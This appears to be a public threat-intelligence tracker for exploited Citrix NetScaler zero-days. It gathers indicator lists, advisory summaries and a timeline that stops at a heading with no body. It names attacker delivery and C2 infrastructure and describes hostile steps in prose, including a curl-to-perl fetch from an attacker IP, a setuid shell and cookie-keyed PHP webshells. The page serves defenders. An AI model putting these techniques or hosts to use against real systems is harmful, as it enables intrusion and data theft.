PitScaler - Citrix NetScaler Zero-Day Crisis

Overview: exploited NetScaler zero-day vulnerabilities

The NetScaler vulnerabilities: eight CVEs in CTX697096 plus CVE-2026-88779

Citrix's bulletin CTX697096 lists eight CVEs with CVSS 4.0 scores and preconditions, and NCSC-NL's advisory NCSC-2026-0394 gives the same figures. Exploited: CVE-2026-88771, CVE-2026-88772 and - since 4 Oct - CVE-2026-88779 (bulletin CTX697174, below). ^[18][1][16]

Public IoCs Public / TLP:CLEAR only

This table only contains indicators that have been published openly. The Sharing column shows each source's own marking. ^{[77][81][50][51]}

• GreyNoise published its set on 28 September, marked TLP:CLEAR. GreyNoise has announced a longer "GreyNoise Labs" version, but the link on its blog was still a placeholder on 29 September.
• IFIN says the observables it shares were shared without restriction.
• Truesec's page is public and has no TLP marking.
• GTIG/Mandiant's blog is public and has no TLP marking. GTIG keeps its full IoC collection for registered GTI users only.

Download all IoCs as CSV Firewall blocklist (140 IPs, annotated) Plain IP list Domain blocklist (pylrk.cc wildcard, annotated) Plain domain list

The blocklist contains only the IPv4 indicators whose own source data does not warn against blocking. It excludes Cloudflare WARP egress, shared commercial VPN exits, residential/ISP (CGNAT) addresses and a domain-parking IP — those are in the CSV with their caveats. IPs differ per victim; a blocklist is defence in depth, not a substitute for patching and compromise checks.

The 2 October SAML-issue payload chain: f.pylrk.cc and the FreeBSD Sliver implant

A TLP:CLEAR malware analysis report (2 October, vendor-independent, corroborated by an Expel IR observation) and the delivery host's live state connect the new-issue delivery domain to an actual implant:

• pylrk.cc was registered on 2 Oct at 06:56 UTC (NameSilo, Cloudflare nameservers); the delivery subdomain f.pylrk.cc first appears in passive DNS at 11:50 UTC with a Let's Encrypt certificate (CN=pylrk.cc) issued at 06:01 UTC.
• f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host served an 8,822,784-byte Go ELF64 binary over HTTPS (HTTP/2 200, application/octet-stream, Cloudflare-fronted). Still live and unchanged on 3 October.
• The binary is a Sliver C2 implant compiled for FreeBSD - the OS under NetScaler - with a hardcoded C2 reference to https://www.pylrk.cc, a custom protocol tag pylrkfbsd, tunnel/reverse-shell capability (IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP (C2 resolves via DNS).
• VirusTotal: 31 of 75 engines detect it, all Sliver/Vilers-family labels; first submitted 2 Oct 11:49 UTC; recorded filenames include /var/tmp/.host and citrix3.bad - appliance deployment paths.
• A separate Perl-script payload (3-4 of 75 engines) is associated with 213.209.159.55, not with f.pylrk.cc; the two delivery chains are distinct in the public reporting.

The report is a static analysis (sample not executed) by an external team, not a vendor or CERT publication. Cloudflare fronts the delivery host: block the domain names and the hash, never the resolved proxy IPs. Hunt *.pylrk.cc in DNS logs rather than the single hostname - subdomains may rotate. ^[62]

Post-exploitation steps attempted on a GreyNoise sensor

GreyNoise says the attacker did not gain a foothold on its sensor. The steps below show the attacker's playbook, not a successful compromise.

• Set setuid and setgid on /bin/sh.
• Planted a PHP webshell that authenticates by cookie.
• Killed and restarted httpd, for anti-forensics or to activate the changed config.

A Reddit user described one sample of the .ctxs.receiver file, and IFIN relayed the description. This is unconfirmed. ^[81]

• The file is a 237-byte PHP one-liner.
• It runs a URL-decoded cookie value through passthru(), but only when a second cookie matches a hardcoded 16-character hex token.
• NetScaler uses both cookie names legitimately, so the traffic blends in.
• The file survived a reboot and the upgrade to 14.1-73.37.

The token likely differs per victim, so search the file's content rather than relying on its hash.

Source: GreyNoise, "Swarming Against Citrix 0-Day Exploitation". Victim-specific names and IPs from later IR-vendor writeups are deliberately left out. Beaumont warns that publishing them exposes organisations that have not yet remediated. ^[94]

Timeline

Times are UTC unless marked otherwise. Events without a time show only their date. Expand an event to see its sources.

1. Aug 21 Research

   Unit 42: earliest activity is NetScaler version fingerprinting

   On 21 Aug 104.248.244.66 and then 77.83.199.39 requested /admin_ui/common/css/ns/ui.css and /vpn/js/rdx/core/lang/rdx_en.json.gz from a US NetScaler Gateway. On 21 and 22 Aug these two hosts and 78.47.24.217 sent the same requests to more than 100 other systems. Unit 42 describes this as fingerprinting, not exploitation.

   Sources: ^[123]

2. Sep 4 Research

   Unit 42: .deb webshell requests begin (CVE-2026-88772 chain)

   From 4 to 24 Sep the actor repeatedly requested .deb files in /vpn/scripts/linux/, rotating infrastructure: one VPS per day on 4-8 Sep, Cloudflare WARP addresses on 9-11 Sep, 162.33.178.9 on 14 Sep and 193.149.176.207 daily on 15-24 Sep. A continuous stream of requests to /logon/LogonPoint/Authentication/GetUserName ran from 10 Sep until 01:54 UTC on 27 Sep, hours before the bulletin.

   Sources: ^[123]

3. Sep 5 Research

   eSentire: CVE-2026-88771 exploited as early as 5 September

   eSentire TRU incident response saw exploitation of Internet-facing NetScaler Gateways from 5 Sep, more than three weeks before disclosure: base64 PHP staged in the access log via fake /vpn/media/*.ico requests, then executed through a crafted login username. In one intrusion a .deb-variant webshell was installed and operated from 5 Sep, with signs of data exfiltration and lateral movement to internal virtual desktops and back to the appliance over SSH.

   Sources: ^[69]

4. Sep 10, 07:14 UTC Official advisory Validated

   CVE IDs reserved

   NetScaler reserves CVE-2026-88771 and CVE-2026-88772 at 07:14 UTC. The records were published on 27 Sep at 16:02 and 16:09 UTC.

   Validated against the CVE record on 29 Sep.

   Sources: ^[35][78]

5. Sep 21 Research

   Unit 42: three-stage CVE-2026-88771 chain drops a PHP webshell

   77.83.199.39, 78.47.24.217 and 139.180.152.138 staged a Base64 dropper in the User-Agent (logged to httpaccess-vpn.log), poisoned ns.log with a fake pitboss heartbeat message, and had ns_monuploadd_err.pl -WR decode and run it, installing the .ctxs.receiver webshell at a US target.

   Sources: ^[123]

6. Sep 23 Reported observation

   Danish NetScalers start going offline

   Ingeniøren's review of Shodan data shows several Danish NetScaler systems switched off from 23 Sep, four days before Citrix's public disclosure.

   Sources: ^[126]

7. Sep 24, 07:32 UTC Telemetry

   GreyNoise sensors see exploitation from a single IP

   149.104.78.141: 3 sessions 07:32:19-07:32:20 UTC. IP flagged "suspicious" (Citrix ADC Gateway Login Panel Crawler), then "malicious" (Generic ${IFS} Use in RCE Attempt; CitrixBleed 2 attempt). Later retro-tagged as CVE-2026-88771. GreyNoise's retro-hunt found no other exploitation sessions before disclosure - this covers GreyNoise sensors only.

   Sources: ^[77][78][79]

8. Sep 25 Reported observation Validated

   Danish government agencies shut down their NetScalers

   Danish agencies, among them PET, the Armed Forces and the police, took their Citrix NetScaler environments offline from Friday 25 Sep, two days before Citrix disclosed the vulnerabilities. Ingeniøren later reported the shutdowns from Shodan data; none of the agencies would explain why.

   The Friday 25 Sep shutdown was validated independently on 30 Sep.

   Sources: ^[126]

9. Sep 25 Official advisory

   NCSC-NL confidentially warns Dutch organisations

   On the afternoon of Friday 25 Sep, after a tip from a European partner, NCSC-NL confidentially informed companies and organisations, including central government, about two NetScaler zero-days being exploited outside the Netherlands, before any patch existed. Dark Reading reports that a copy of the pre-notification, marked TLP:AMBER+STRICT, was briefly posted on Reddit and then deleted; Tenable's RSO likewise notes community reports that it was distributed under TLP:AMBER+STRICT and says it has not independently obtained or reviewed the contents. According to BleepingComputer, the notice said Citrix found the vulnerabilities while investigating incidents at customers and filed a notification under the EU Cyber Resilience Act.

   Sources: ^{[34][131][110]}

10. Sep 26, 06:43 UTC Reported observation Validated

    r/Citrix "Netscaler leak?" thread

    User FastFredNL opens the thread at 06:43:22 UTC (08:43 CEST), reporting that an IT provider advised shutting NetScalers down immediately. It becomes the first public gathering point, with admins reporting similar unofficial advice over the weekend. Dark Reading dates the first reports to 25 Sep, but the thread itself was posted on 26 Sep.

    Post timestamp checked on the thread itself (30 Sep). The shutdown advice is consistent with the Dutch government letter to parliament.

    Sources: ^{[136][81][131][34]}

11. Sep 26, 22:19 UTC Research

    watchTowr: two unpatched RCE zero-days, found during forensics

    Two vulnerabilities - both RCE. Unpatched, 0days. Exploited in-the-wild - discovered during forensics.

    watchTowr adds that Citrix comms and patches are expected early the following week.

    Sources: ^[74]

12. Sep 26, 23:39 UTC Reported observation

    IFIN opens a public tracking thread

    IFIN starts compiling public reporting and observables for the NetScaler zero-days; it later states that all observables it shares were shared without restriction.

    Sources: ^[81]

13. Sep 26 Reported observation

    watchTowr: pull NetScaler appliances offline immediately

    Please, take this seriously and pull NetScaler appliances offline immediately.

    watchTowr publicly warns that credible rumours of unpatched NetScaler RCEs are circulating; later that day CEO Benjamin Harris says the rumours are confirmed and urges admins to pull NetScaler appliances offline immediately.

    Sources: ^[131]

14. Sep 27, 10:05 UTC Reported observation

    Dutch hospitals Amphia and ETZ close patient portals

    Patients of Amphia (Breda) and Elisabeth-TweeSteden Ziekenhuis (Tilburg) cannot log in to their portals; other Dutch hospitals report problems too. That evening Z-CERT, the Dutch healthcare CERT, says it warned the sector about critical vulnerabilities in Citrix NetScaler and advised temporarily switching the system off.

    Sources: ^[132]

15. Sep 27, 15:51 UTC Official advisory

    Public disclosure; Citrix publishes CTX697096 with fixes

    Disclosure time per GreyNoise. The bulletin covers 8 CVEs. watchTowr notes the patch it analysed was dated 24 Sep, suggesting Citrix knew of the exploitation the week before.

    Sources: ^[1][78][131]

16. Sep 27, 16:06 UTC Official advisory

    Citrix announces the bulletin on r/Citrix

    A Citrix staff account (CTX-Michael) posts a CRITICAL UPDATE in r/Citrix linking the CTX697096 bulletin and the Citrix community blog post with its IoC section, and quoting that exploitation of CVE-2026-88771 and CVE-2026-88772 on unmitigated deployments has been observed.

    Sources: ^[14][13]

17. Sep 27, 20:28 UTC Telemetry

    GreyNoise deploys CVE-specific tag

    Tag deployed 20:28:39 UTC; the 24 Sep sessions are retro-tagged as CVE-2026-88771.

    Sources: ^[78][80]

18. Sep 27, 21:30 UTC Official advisory Validated

    CISA adds CVE-2026-88771 and CVE-2026-88772 to KEV

    Both were added on 27 Sep with a federal remediation deadline of 30 Sep. The 21:30 UTC release time comes from the compiled dataset and was not found in the sources checked.

    Dates validated against the KEV catalog feed on 29 Sep.

    Sources: ^[16][29]

19. Sep 27, 23:15 UTC Telemetry

    Unit 42: 50,277 exposed instances

    Palo Alto Networks Cortex Xpanse identifies 50,277 exposed NetScaler instances that could potentially be vulnerable (update posted 4:15 p.m. PT). Exposure, not confirmed compromise.

    Sources: ^[123]

20. Sep 27 Official advisory

    Danish Defence Intelligence (FE) and CERT-EU warn NetScaler users

    The Danish Defence Intelligence Service sent a warning urging NetScaler users to update, per Ingeniøren. CERT-EU published Security Advisory 2026-014 recommending an immediate update of all customer-managed appliances and enabling Enhanced ISN Generation where TCP is configured.

    Sources: ^[126][30]

21. Sep 27 Reported observation

    Beaumont: three CVEs chained, webshells all September

    The primary vulns being exploited are CVE-2026-88771, CVE-2026-88772, CVE-2026-88773 chained. It gives unauth RCE in default appliance config. Attackers using it to drop webshells all month of September. Probably nation state aligned

    Beaumont's claim; attribution not independently verified.

    Sources: ^[87]

22. Sep 27 Reported observation

    Beaumont: patches live, detection script behind NDA

    patching alone doesn't remove the backdoors being placed

    Patches are live on the main support site; Citrix's detection script is locked behind NDA/support.

    Sources: ^[88]

23. Sep 27 Reported observation Validated

    Beaumont: Console check misses earlier attempts

    The NetScaler Console check misses earlier semi-successful attempts because it relies on logs not having rotated; he adds that the activity is weeks old because of slow disclosure.

    Validated independently on 29 Sep.

    Sources: ^[89]

24. Sep 28, 09:40 UTC Official advisory

    NHS England alert CC-4858

    NHS England's National CSOC rates the threat High and assesses further exploitation as almost certain. It strongly recommends a compromise assessment before patching, since patching first may delete evidence, and warns that end-of-life 12.1 and 13.0 releases are likely vulnerable and receive no fix. Published 10:40 UK time.

    Sources: ^[32]

25. Sep 28, 22:49 UTC Reported observation

    Beaumont names it "PitScaler"

    I'm tracking over 100 victim orgs now. Each one has a unique webshell which can't be scanned for remotely unless you're the attacker. It's espionage.

    Victim count is Beaumont's claim, not independently verified.

    Sources: ^[90]

26. Sep 28, 23:02 UTC Reported observation Validated

    Beaumont: Citrix checker incomplete

    Some really big orgs are backdoored after patching still

    The checker does not check for suid on /bin/sh; Beaumont calls on NCSCs to publish a detection script.

    The missing suid /bin/sh check was validated independently on 29 Sep. The claim about big organisations still being backdoored is not independently verified.

    Sources: ^[91]

27. Sep 28 Official advisory

    CERT-FR, CSSF (Luxembourg) and CERT Quebec issue alerts

    CERT-FR says the two vulnerabilities allow unauthenticated remote code execution, are actively exploited and were exploited before patches existed. The CSSF points supervised financial entities to the CIRCL report and reminds them that unauthenticated remote code execution is unauthorised access, so it counts as a major ICT-related incident to notify under DORA or its national circulars. CERT Quebec rates the risk critical (TLP:CLEAR) and says Quebec public bodies using a vulnerable product must test and deploy the vendor updates or mitigations.

    Sources: ^[22][23][24]

28. Sep 28 Reported observation

    Press covers the weekend shutdown warnings

    BleepingComputer, SecurityWeek, The Record and CyberScoop cover the story.

    Sources: ^{[110][117][118][119]}

29. Sep 28 Research

    CERT-EU technical writeup on CVE-2026-88771

    "Taking 'execute logging' a bit too literally" - root cause, attack chain and hunting guidance.

    Sources: ^[39]

30. Sep 28 Official advisory

    Government advisories worldwide

    NCSC-NL NCSC-2026-0394 [H/H], NCSC-UK, CSA Singapore AL-2026-129, plus Canada, HKCERT, ACSC, and CIRCL TR-100 with per-CVE config-check CLI commands.

    Sources: ^{[18][19][20][21][25][26][33]}

31. Sep 28 Telemetry

    GreyNoise publishes TLP:CLEAR IoC set

    "Swarming Against Citrix 0-Day Exploitation" - the first public IoC set in this compiled dataset as of 29 Sep, with a companion Chronicle timeline.

    Sources: ^[77][78]

32. Sep 28 Research

    watchTowr Labs part 1 (CVE-2026-88771)

    "Oh Look, the Foot Gun Went Off Again", published with a Detection Artefact Generator (PoC-class tool).

    Sources: ^[40][41]

33. Sep 28 Telemetry

    Censys and Shadowserver count exposed NetScalers

    Censys detects NetScaler ADC or Gateway on 42,735 hosts and 323,527 web properties; these are exposed instances, not confirmed-vulnerable counts. Shadowserver reports more than 20,000 instances exposed and potentially at risk.

    Sources: ^[84][124]

34. Sep 28 Telemetry

    Lupovis honeypots see exploitation minutes after the public PoC

    Lupovis says its sensors recorded live CVE-2026-88771 exploitation attempts within minutes of watchTowr releasing its PoC; the attempts were opportunistic, from several distinct actors.

    Sources: ^[125][64]

35. Sep 28 Research

    First public detection rules

    Elastic merges a rule for NetScaler log-poisoning command injection; Corelight publishes Zeek hunting queries. Sigma and Nuclei pull requests follow (28-29 Sep, still unmerged at snapshot time).

    Sources: ^{[66][65][67][68]}

36. Sep 28 Research

    Truesec publishes potential C2 IPs

    Truesec lists 104.248.244.66, 139.180.152.138 and 77.83.199.39 as potential C2 IPs it has observed.

    Sources: ^[50]

37. Sep 28 Official advisory Validated

    ACSC alert; Australian organisations later confirm exploitation

    Australia's ACSC publishes an alert on 28 Sep. In an update it says Australian organisations have since confirmed exploitation, and recommends reviewing for evidence of compromise since at least 4 Sep 2026. The original background text, still lower on the page, says no Australian exploitation had been confirmed at first publication.

    Both statements checked on the ACSC page on 1 Oct.

    Sources: ^[26]

38. Sep 28 Reported observation

    Dutch ministry and hospitals take systems offline

    The Dutch Ministry of the Interior took all Citrix environments offline over the weekend; patients of two major hospitals (Amphia and ETZ) could not view their records, and Frisius MC in Leeuwarden shut down some digital systems as a precaution (SDxCentral, citing Techzine).

    Sources: ^[127]

39. Sep 29, 00:59 UTC Research

    Sygnia: new "unexpectedly died" log-poison variant

    Sygnia saw commands after pitboss PPE unexpectedly died NSPPE; in raw logs: copying ns.conf to /var/netscaler/logon/insight-new.js (00:59 UTC), curl of update_c08937.pl from 64.94.85.67 piped to perl (03:18 UTC) and whoami (04:05-04:07 UTC). Sygnia notes this shows the commands reached the vulnerable logging path, not that they ran.

    Sources: ^[54]

40. Sep 29, 04:39 UTC Reported observation

    Beaumont: mass exploitation

    #PitScaler is under mass exploitation, seeing it spray and pray now. I've done some firmware version scanning, fewer than 10% of boxes are patched

    The <10% figure is Beaumont's own estimate, not independently verified.

    Sources: ^[92]

41. Sep 29, 06:18 UTC Reported observation Compromise unverified

    Beaumont posts a public message to the NSA

    do forensics on 103.41.70.207,vdicorp.nsa.gov

    The domain resolves to that IP. That the host is an NSA-operated Citrix system has been validated independently. That it is compromised is Beaumont's implication and is not verified. This briefing does not identify any organisation as compromised, and these values are not listed as IoCs.

    Sources: ^[93]

42. Sep 29, 16:12 UTC Reported observation Validated

    Beaumont: IR writeups expose victim-unique indicators

    IR vendors are publishing PitScaler writeups containing victim-unique webshell names (.sig files) and attacker IPs, which he says lets him map victim orgs via network traffic. He warns that unremediated orgs' published webshell names can be used to access their boxes, and says one vendor uploaded its IR investigation to VirusTotal.

    Validated independently on 29 Sep.

    Sources: ^[94]

43. Sep 29, 18:49 UTC Reported observation

    The Register: government, banks and professional services targeted

    Why Citrix took so long to disclose these vulnerabilities is a question only Citrix can answer

    It reports GTIG/Mandiant findings that government, financial services, technology, education and legal and professional services organisations in North America and Europe were likely hit. watchTowr CEO Benjamin Harris criticises the slow disclosure and says no attribution has been made public.

    Sources: ^[122][51]

44. Sep 29 Research

    Martin's Blog: two build-diff analyses - CVE-2026-88771 source-to-shell path in ns_monuploadd_err.pl; CVE-2026-88772 missing cumulative DTLS bound

    Two independent reverse-engineering posts at mac.sploit.dk compare the 14.1-73.30 and 73.37 vendor artifacts (archive and binary hashes published; no exploit run, static analysis plus controlled lab only). CVE-2026-88771 post: on 73.30, /netscaler/ns_monuploadd_err.pl -WR greps ns.log/ns.log.0/messages for pitboss "missed too many heartbeats|unexpectedly died" lines, takes everything after the final NSPPE token as a core-file name via an unquoted tail|sed|awk pipeline, and interpolates it into a Perl backtick - a shell sink. A failed management POST /login/do_login writes the attacker username verbatim into ns.log (HTTP 303, storage primitive only). With a harmless touch-canary username, command execution was demonstrated in the lab when the script was explicitly invoked with -WR from an authorised root shell (exit 100, canary file created); three genuine NSPPE recovery tests (SIGKILL, SIGABRT, SIGSTOP through the heartbeat threshold) produced zero observed -WR invocations, so the automatic trigger remains unproven and the author keeps attempt and execution strictly separate. The 73.37 repair replaces the permissive parser with a strict NSPPE-<nn> (PID) regex, list-form open (no shell) for find, and a path-character allowlist; the same input is inert on 73.37. The post publishes detection guidance with confidence levels (parser-shaped username = high-confidence attempt; shell syntax or /var/log/htt|b64decode|LogonPoint/custom references = very high; -WR activation or descendant shell = execution evidence), a Python offline scanner, a Sigma rule and Splunk correlation. It also hashes the vulnerable 73.30 script fb7f574a... and the fixed 73.37 script 02b24a99... - the former matching the Poppelgaard checker's vulnerable-copy check. CVE-2026-88772 post: the DTLS copy routine in nsppe 73.30 (sub_1434A80, dispatch through DTLS method tables carrying 0xfeff/0xfefd version values) copies a header plus a linked buffer chain into a 0x8c00-byte scratch buffer with no cumulative bound; 73.37 adds a countdown check that rejects an element before the copy when remaining capacity is exceeded (error 0x32 path). The arithmetic matches watchTowr's 173,665-byte test case against the 35,840-byte destination. The post flags an easy-to-miss exposure detail: the bulletin also covers virtual servers configured with type DTLS (including load-balancing vservers), not only VPN vservers with DTLS on by default - checking only VPN configs can leave an affected service out of the inventory. The watchTowr detection-artifact-generator program is inspected, not run, and the author warns it contains ROP chains and arbitrary-write code - lab only.

    Sources: ^[46][47]

45. Sep 29 Research

    watchTowr Labs part 2 (CVE-2026-88772)

    "Here We Go Again" (Sina Kheirkhah) - full RCE analysis plus a second Detection Artefact Generator.

    Sources: ^[42][43]

46. Sep 29 Research

    Google GTIG / Mandiant: custom malware WHIPSHOT and SLAPSHOT

    The CVE-2026-88772 campaign has been ongoing since at least early September. WHIPSHOT is a PHP webshell staged with a .deb disguise that hides base64 C2 in HTTP headers; SLAPSHOT is a Python TCP tunneler (open/push/pull/exch/close/ping) used to reach internal networks for reconnaissance and credential theft.

    Sources: ^[51][122]

47. Sep 29 Reported observation

    BleepingComputer: credential theft and internal spread

    It reports that attackers exploited CVE-2026-88772 to deploy webshells and tunneling malware, gain root, steal credentials and spread into internal networks, citing Mandiant. GTIG itself describes the credential theft and internal reconnaissance in at least one observed intrusion.

    Sources: ^[109][51]

48. Sep 29 Reported observation Validated

    Mandiant CTO: check for compromise before patching

    Given the active exploitation, NetScaler customers should prioritize examining their systems for compromise *before* upgrading/patching

    Charles Carmakal on LinkedIn, as quoted by The Register.

    Quote validated against a second, non-public source on 29 Sep.

    Sources: ^[122]

49. Sep 29 Research

    Nextron releases THOR rules and a NetScaler filesystem IoC set

    Three rules in the THOR Preview channel (higher false-positive rate than stable rules) plus a YAML IoC set derived from the filesystem checks in Citrix's scanner script. A match is a lead, not proof.

    Sources: ^[52]

50. Sep 29 Research

    eSentire publishes first-hand IR findings and IoCs

    Two webshell variants (.ico and .deb), 14 IPs and 2 SHA-256 hashes; the technique matches CERT-EU's description. eSentire advises treating appliances that were Internet-facing and unpatched in early September as potentially compromised until an integrity assessment shows otherwise.

    Sources: ^[69]

51. Sep 29 Telemetry

    Defused: hundreds of decoy hits across multiple exploit paths

    Defused reports hundreds of CVE-2026-88771 hits on its decoys in 24 hours via /nf/auth/doAuthentication.do, /cgi/login, /p/u/doLogon.do, /logon/LogonPoint/tmindex.html and User-Agent payloads on /. Observed follow-up: whoami/id to prove root, nx_verify.html marker files, curl/wget/fetch pulling a second stage, and blind DNS callbacks. Full IoCs are on Defused Radar (not reproduced here).

    Sources: ^[85]

52. Sep 29 Official advisory

    DKCERT warns Danish universities and research institutions

    DKCERT, the CERT for the Danish research and education network, reports two critical NetScaler zero-days exploited before a patch and notes that several administrators took systems offline before Citrix published details.

    Sources: ^[31]

53. Sep 29 Reported observation

    Mandiant: dozens of organisations impacted

    Cybersecurity Dive reports Mandiant CTO Charles Carmakal saying the actor deployed webshells and moved laterally into internal networks at some targets, with dozens of organisations impacted across North America and Europe, including telecommunications.

    Sources: ^[128]

54. Sep 29 Official advisory

    Dutch government confirms preventive disconnection

    Letter to parliament: on Saturday 26 Sep the CIO Rijk set the line "loskoppelen tenzij" (disconnect unless) for central government, and it was broadly applied; remote-work access has not yet been restored everywhere while the patch is tested and forensic investigation continues. Beaumont relays it at 18:32 UTC as "shut down all Citrix Netscalers".

    Sources: ^[34][96]

55. Sep 30, 05:00 UTC Reported observation

    Ingeniøren: PET, Danish Defence and police shut down Citrix

    Based on Shodan data, Ingeniøren reports that PET, the Danish Armed Forces, the Danish police and Copenhagen Airport, among many others, had to switch off their Citrix environments over the weekend. None of the agencies would explain why.

    Sources: ^[126]

56. Sep 30, 22:00 UTC Research

    Unit 42 expands its threat brief

    Adds pre- and post-disclosure activity back to 21 Aug, analysis of the nsg64.deb RC4 webshell and the .ctxs.receiver webshell, hunting queries and a formal IoC list. Updated 15:00 PT.

    Sources: ^[123]

57. Sep 30 Official advisory

    CERT-FR updates its alert with GTIG indicators

    The update relays the GTIG/Mandiant indicators and YARA rules, which ANSSI says it has not qualified, and the two patterns GTIG calls characteristic of successful exploitation: a DTLS handshake-failure line in syslog, and a pitboss NOT restarting NSPPE line in /var/log/messages. CERT-FR also says it knows of public proof-of-concept code for CVE-2026-88771 (noted 28 Sep) and for CVE-2026-88772.

    Sources: ^[22]

58. Sep 30 Official advisory

    NCSC-NL revises its advisory to version 1.0.1

    The revision (30 Sep) extends the recommended actions with information on the Console scan script and IoCs, and says customers without Console should ask Citrix Support for the generic IoCs. The advisory says installing the update prevents new abuse but does not rule out earlier abuse, advises securing relevant logging and a memory dump before updating, and says appliances that were internet-facing before the update should be treated as possibly compromised.

    Sources: ^[18]

59. Sep 30 Research

    TENEX traces a Platypus C2 chain from the injected login

    From malicious login requests TENEX followed four rotating staging hosts to a shell loader that enrols the off-the-shelf Platypus agent from entretiensol.com, then mapped a four-node C2 cluster through one shared TLS certificate. It also recovered the Python (customsnmpd reverse shell) and Perl (sec_monitor, .local_journal webshell, SUID /bin/sh, config theft) stages, and saw a separate loud wave of commodity payloads after the public PoC. TENEX does not name an actor and says logs show attempts, not confirmed execution.

    Sources: ^[55]

60. Sep 30 Official advisory

    Citrix updates its community bulletin

    Last updated 30 Sep. It adds: a known issue where 13.1-64.23 can enter a reboot loop during upgrade if show ns variable lists variables (use 13.1-64.24); a Console Security Advisory scan that may wrongly flag 13.1-64.23 as vulnerable until the next automatic advisory update; a note that NetScaler VPX 15.1 Technology Preview is also vulnerable, is not permitted in production, and a fix will follow; and that samlRejectUnsignedAssertion OFF is no longer supported and is converted to the secure default on upgrade. For suspected compromise Citrix recommends deploying a new, updated instance rather than relying on the update, forwarding logs to an external SIEM, and using Console File Integrity Monitoring.

    Sources: ^[13]

61. Sep 30 Research

    Arctic Wolf publishes follow-up exploitation IoCs and the nsmon.pl implant

    Commands fetched Python, Perl and shell scripts, opened reverse shells and sent Base64 command output over HTTP. The 3,752-byte Perl script nsmon.pl installs under /var/tmp/.nsmon, attempts to add a root cron entry every five minutes, attempts to listen on a port in 41000-41999 and begins a UDP or TCP check-in. These are attempts in the visible code, not proven persistence. Arctic Wolf also shows the injected username as it appears in AAA, AAATM and SSLVPN appliance logs.

    Sources: ^[53]

62. Sep 30 Research

    Sygnia publishes an IR-based advisory

    Investigation-derived indicators (IPs, .sig artefacts, a JSON artefact and a SHA-256) that Sygnia stresses are context-specific and not Citrix-published; validate NAT and direction before blocking.

    Sources: ^[54]

63. Sep 30 Reported observation

    Mandiant CTO: suspected state-sponsored actors likely behind the first intrusions

    Help Net Security relays Carmakal saying advanced and suspected state-sponsored threat actors are likely behind the initial targeted intrusions that used CVE-2026-88772, with dozens of organisations impacted across North America and Europe. No actor is named.

    Sources: ^[112]

64. Sep 30 Official advisory Deadline - upcoming

    Deadline: CISA KEV federal remediation

    Both CVEs were added to KEV on 27 Sep with a due date of 30 Sep, giving US federal agencies three days. The required action is to apply Citrix mitigations under BOD 26-04 and CISA's Forensics Triage Requirements, or stop using the product if mitigations are unavailable; the KEV notes say customers must conduct forensic triage. The KEV entry gives a date only (2026-09-30), no time of day. CISA's directive deadlines are conventionally 11:59 PM U.S. Eastern (23:59 EDT, 03:59 UTC on 1 Oct), and third-party KEV trackers treat the due date the same way, but CISA publishes no official time for KEV due dates - so the deadline was passed by 1 Oct 04:00 UTC at the latest. A deadline, not an event.

    Sources: ^{[29][16][114][116]}

65. Oct 1, 00:12 UTC Reported observation

    Beaumont: Arctic Wolf set is new "spray and pray" activity

    He says the follow-up activity covered by the Arctic Wolf IoCs is definitely not related to the initial actor in early September.

    Sources: ^[97]

66. Oct 1, 15:22 UTC Research

    Poppelgaard checker v1.9 adds public indicators

    Release 1.9 of the free, read-only CTX697096 checker script adds, among others, Arctic Wolf's nsmon.pl implant, the Unit 42 .deb webshell and more attacker IPs, and tags each attack line as before or after the fix. Its author says a clean result is not proof of a clean appliance.

    Sources: ^[56]

67. Oct 1 Official advisory

    NCSC-FI (Finland): confirmed intrusions in Finland before the patches

    The National Cyber Security Centre Finland (NCSC-FI, part of Traficom) publishes an alert after receiving reports of active exploitation of the CTX697096 vulnerabilities in Finland, including intrusions that began before Citrix released the security updates on 27 September. The underlying Finnish warning page (Warning 1/2026) classifies it as a yellow warning ("Keltainen varoitus"). NCSC-FI says internet-facing NetScaler systems should be assumed to have been exposed to attacks, that updating alone may not be enough because an attacker may have established a persistent foothold, and that organisations must investigate for compromise even if they patched quickly: review logs and administrative changes, check user accounts created on the systems, scheduled tasks, services and other persistence, and change administrative passwords if compromise is suspected. NCSC-FI says it has identified hundreds of NetScaler instances in Finland and contacted their administrators, and asks organisations to report observed exploitation and intrusions.

    Sources: ^[28]

68. Oct 1 Official advisory

    BSI (Germany) updates its warning and recommends this site's IoC list

    BSI's TLP:CLEAR warning BITS-H 2026-289305-1132 (version 1.1, 1 Oct) rates the criticality 3 / Orange, meaning act immediately. It says logs should be checked back to at least early September, that patching alone does not remove a compromise, and that operators should check for a compromise even if they patched on release day. In its update it links to PitScaler as a place that collects detection options and IoCs from several sources, and recommends that operators use the growing IoC list.

    Sources: ^[27]

69. Oct 1 Official advisory Validated

    Citrix ships version 4 of its IoC detection logic

    Citrix has released a fourth version of the IoC detection logic used by the NetScaler Console scan. Citrix's documentation says the logic keeps being updated and that Console shows when an update is available, so rerun the scan after updating.

    Version 4 validated independently on 1 Oct.

    Sources: ^[15]

70. Oct 2, 06:00 UTC Research

    Analysis: "NetScaler Needs More Than Another Patch" - the case against treating each emergency as the fix

    A long-form analysis by "Martin" (mac.sploit.dk, 08:00 CEST, opinion; the site's about page says only that the author has "spent a long time working in cybersecurity") argues that the recurring emergency-patch cycle is the wrong frame. Its claims, each with stated boundaries: NetScaler 14.1 runs a vendor-modified FreeBSD 11.4 base (upstream EOL since September 2021); of 107 examined executables under /netscaler, 106 lack PIE and only one has RELRO (from the author's earlier lab assessment of build 73.30, not evidence of an internet-reachable path); most packet and control-plane services observed ran as root with no visible privilege drop, and the author reports a locally demonstrated authentication failure in the privileged configuration service. It reads Citrix's 1 October NetScaler 15.1-9.30 Tech Preview (FreeBSD to Linux, BLX/DPDK data plane, ASLR, SELinux auditing, Yama, faster third-party patching) as promising platform work that does not fix NetScaler's own application-layer bugs, and notes it is a days-old vendor-described preview, not independently tested. Also notes CVE-2026-88771 was a root Perl script passing failed-login text to a shell via backticks - command construction, not memory corruption - so memory-safety roadmaps alone would not have stopped it. Renewal-meeting checklist included (SBOM, privilege separation evidence, mitigation settings, session-kill guidance, ZTNA off-ramp). All vendor bulletins it cites are already on this page.

    Sources: ^[45]

71. Oct 2, 19:01 UTC Reported observation Validated

    Beaumont: patched honeypots crash, "we may have PitScaler 2"

